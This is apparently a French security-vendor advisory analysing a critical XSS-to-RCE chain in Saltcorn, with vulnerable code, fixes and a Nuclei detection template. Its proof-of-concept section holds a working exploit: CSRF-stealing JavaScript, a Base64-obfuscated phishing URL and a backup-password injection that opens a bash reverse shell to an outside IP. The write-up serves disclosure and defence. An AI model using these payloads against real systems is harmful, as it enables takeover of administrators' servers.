Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

GHSA-cr3w-cw5w-h3fj : RCE en 1 clic dans Saltcorn

Analyse de GHSA-cr3w-cw5w-h3fj, une vulnérabilité critique XSS-vers-RCE de score CVSS 9.7 dans Saltcorn (≤ 1.5.0-beta.19). Deux failles enchaînées, un XSS réfléchi dans les paramètres de route et une injection de commandes dans la génération des sauvegardes, permettent l'exécution de code à distance via le phishing d'un administrateur.

GHSA-cr3w-cw5w-h3fj

RCE en 1 clic dans Saltcorn 24 février 2026 · CVSS 9.7 Critique · Saltcorn ≤ 1.5.0-beta.19

CVE CVSS Concerné Corrigé
Non attribué 9.7 Critique ≥ 1.1.1, < 1.5.0-beta.19 1.5.0-beta.19+

1. Vue d'ensemble technique : chaîne d'exploitation XSS-vers-RCE dans Saltcorn

Saltcorn est un constructeur d'applications web open source, orienté base de données, avec une interface d'administration pour l'édition de pages et de code, les sauvegardes et la gestion du système.

GHSA-cr3w-cw5w-h3fj est critique non pas à cause d'un seul bug, mais parce qu'il enchaîne deux vulnérabilités :

  • Un XSS réfléchi dans le rendu des paramètres
  • Une injection de commandes dans la construction de la commande de sauvegarde

Prise isolément, chaque faille crée un risque de sécurité. Combinées, elles permettent à un attaquant d'exécuter des commandes du système d'exploitation lorsqu'un administrateur ouvre un lien spécialement conçu.


2. XSS réfléchi dans les paramètres de route

Dans les versions vulnérables jusqu'à 1.5.0-beta.19, le paramètre de route name passe directement dans send_admin_page() en tant que sub2_page et page_title sans échappement HTML.

Schéma de code vulnérable :

router.get(
  "/edit-codepage/:name",
  isAdmin,
  error_catcher(async (req, res) => {
    const { name } = req.params;  // raw user input, no sanitization
    // ...
    send_admin_page({
      res,
      req,
      page_title: req.__(`%s code page`, name),  // unescaped
      sub2_page:  req.__(`%s code page`, name),  // unescaped → breadcrumb
      // ...
    });
  })
);

send_admin_page() appelle send_settings_page() dans packages/server/markup/admin.js, qui place sub2_page tel quel comme texte du dernier élément du fil d'Ariane :

// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
  above: [
    {
      type: "breadcrumbs",
      crumbs: [
        { text: req.__("Settings"),   href: "/settings" },
        { text: req.__(active_sub),   href: "..." },
        ...(sub2_page
          ? [{ text: sub2_page }]  // ← name value inserted here, no escaping
          : [])
      ],
    },
    // ...
  ],
});

res.sendWrap() restitue sub2_page sous forme de HTML brut à l'intérieur d'une balise \<a>. Tout code HTML présent dans name s'exécute dans le navigateur.

Comme name passe dans le texte de l'interface sans assainissement, une valeur contrôlée par l'attaquant devient du HTML/JavaScript exécutable.

Exemple de requête malveillante :

GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

Démonstration du payload XSS

Résultat rendu dans les versions vulnérables :

... <a> <img src=x onerror=alert(document.domain)> code page </a> ...

3. Injection de commandes dans la gestion du mot de passe de sauvegarde

La seconde vulnérabilité se trouve dans la génération des sauvegardes, où une commande shell est construite par interpolation de chaîne puis exécutée.

Schéma vulnérable (backup.ts) :

const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });

backup_password est injecté directement dans une chaîne de commande shell. Une valeur malveillante peut sortir du contexte -P "..." et ajouter de la syntaxe shell.

Exemple de mot de passe malveillant :

";$(id);#

Commande exécutée résultante :

zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .

Cela conduit à une exécution de commande arbitraire dans le contexte du serveur lorsque la sauvegarde est déclenchée.

Interface des paramètres de sauvegarde


4. Exploitation de bout en bout : enchaînement du XSS et de l'injection de commandes

L'exploitation nécessite deux éléments : un payload armé intégré dans une page de phishing, et de l'ingénierie sociale pour le livrer à un administrateur authentifié.

Étape 1 : payload d'injection de commandes

fetch('/admin/backup')
  .then(r => r.text())
  .then(html => {
    var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
    fetch('/admin/set-backup-prefix', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
    }).then(() => 
      fetch('/admin/backup', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: '_csrf=' + c
      })
    )
  });

Le paramètre backup_password contient un échappement shell encodé en URL. Une fois décodé, il correspond à :

";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"

Contexte d'exécution côté serveur :

zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .

Étape 2 : payload XSS

L'URL malveillante de la page de phishing intègre un payload à plusieurs niveaux, en utilisant un encodage Base64 pour contourner des filtres simples :

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E

Payload XSS décodé :

<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>

5. Preuve de concept : exploitation de bout en bout XSS-vers-RCE

Cette preuve de concept démontre une chaîne d'exploitation complète XSS-vers-RCE contre un déploiement vulnérable de saltcorn/saltcorn:1.4.1, aboutissant à l'exécution de commandes à distance via un payload malveillant côté administration.

version: '3'
services:
  postgres:
    image: postgres:15
    environment:
      POSTGRES_USER: saltcorn
      POSTGRES_PASSWORD: saltcorn
      POSTGRES_DB: saltcorn
    volumes:
      - postgres-data:/var/lib/postgresql/data

  saltcorn:
    image: saltcorn/saltcorn:1.4.1
    ports:
      - "3000:3000"
    environment:
      PGHOST: postgres
      PGUSER: saltcorn
      PGPASSWORD: saltcorn
      PGDATABASE: saltcorn
      PGPORT: 5432
      SALTCORN_SESSION_SECRET: fixedsecret
    volumes:
      - saltcorn-data:/home/saltcorn/.config/saltcorn
    depends_on:
      - postgres
    command: serve

volumes:
  postgres-data:
  saltcorn-data:

Déroulement de l'exécution :

  • Terminal de l'attaquant : un listener est mis en place pour recevoir le reverse shell.

Terminal de l'attaquant avec listener

  • Action de la victime : l'administrateur clique sur le lien malveillant.

Endpoint vulnérable de l'interface d'administration

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
  • Reverse shell établi : l'ensemble de la chaîne s'exécute en moins de 2 secondes, donnant à l'attaquant un accès à distance.

Reverse shell établi

Le processus est pratiquement invisible pour l'administrateur, qui ne perçoit qu'une brève navigation dans le navigateur.

Impact
Une fois l'exécution de commandes obtenue, l'attaquant peut :
• Lire les secrets et la configuration de l'application
• Implanter des portes dérobées persistantes
• Rebondir vers des services connectés
• Compromettre l'intégrité et la disponibilité

6. Le correctif : patch et mesures d'atténuation dans Saltcorn 1.5.0

La version 1.5.0 de Saltcorn corrige les deux vulnérabilités indépendamment. Appliquer l'un ou l'autre correctif suffit à rompre la chaîne d'exploitation.

Correctif 1 : échappement des entrées

Échapper les paramètres de route et de requête avant leur rendu en aval.

const escape_param = (obj) => {  
  const out = {};
  for (const [k, v] of Object.entries(obj))
    out[k] = typeof v === "string" ? text(v) : v;  
  return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);

Correctif 2 : exécution sécurisée des commandes

Remplacer exec(string) par spawn(binary, args) et passer le mot de passe comme un argument normal (sans interpolation shell) :

const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });

Cela supprime le vecteur d'injection de chaîne shell.


7. Détecter le XSS-vers-RCE de Saltcorn avec Ostorlab KEV

GHSA-cr3w-cw5w-h3fj (la chaîne XSS-vers-RCE de Saltcorn) est couverte dans la suite de détection Known Exploited Vulnerabilities (KEV) d'Ostorlab. Le groupe d'agents KEV effectue un scan automatisé à grande échelle sur les services exposés, en orchestrant des outils comme Nmap, Tsunami, Asteroid, Nuclei et Metasploit au sein d'un workflow unifié.

Le template Nuclei

Un template Nuclei dédié a été développé pour cet avis et ajouté au dépôt KEV.

Contrairement à une validation intrusive de l'exploit, ce template effectue une détection sûre basée sur la réflexion, sans authentification :

  • Requête GET vers /page/sc\<xss\>nuclei — injecte des chevrons dans un paramètre de route public.
  • Vérification de correspondance dans le corps — vérifie que le payload sc\<xss\>nuclei est réfléchi sans être encodé.
  • Vérification de non-correspondance — s'assure que la forme encodée sc&lt;xss&gt;nuclei n'apparaît pas.
  • Fingerprinting de Saltcorn — confirme la présence via le marqueur _sc_version_tag.

La détection exige que toutes les conditions du matcher réussissent : réflexion présente, encodage absent et Saltcorn identifié.

Le template confirme le vecteur XSS vulnérable qui permet la chaîne d'injection de commandes, sans déclencher de sauvegardes ni exécuter de commandes.

Le template complet est disponible dans le dépôt Ostorlab KEV à l'adresse : github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml


Références

Ressource Lien
GitHub Advisory https://github.com/advisories/GHSA-cr3w-cw5w-h3fj
Dépôt Saltcorn https://github.com/saltcorn/saltcorn
Commit du correctif https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5
Instantané vulnérable https://github.com/saltcorn/saltcorn/commit/020893c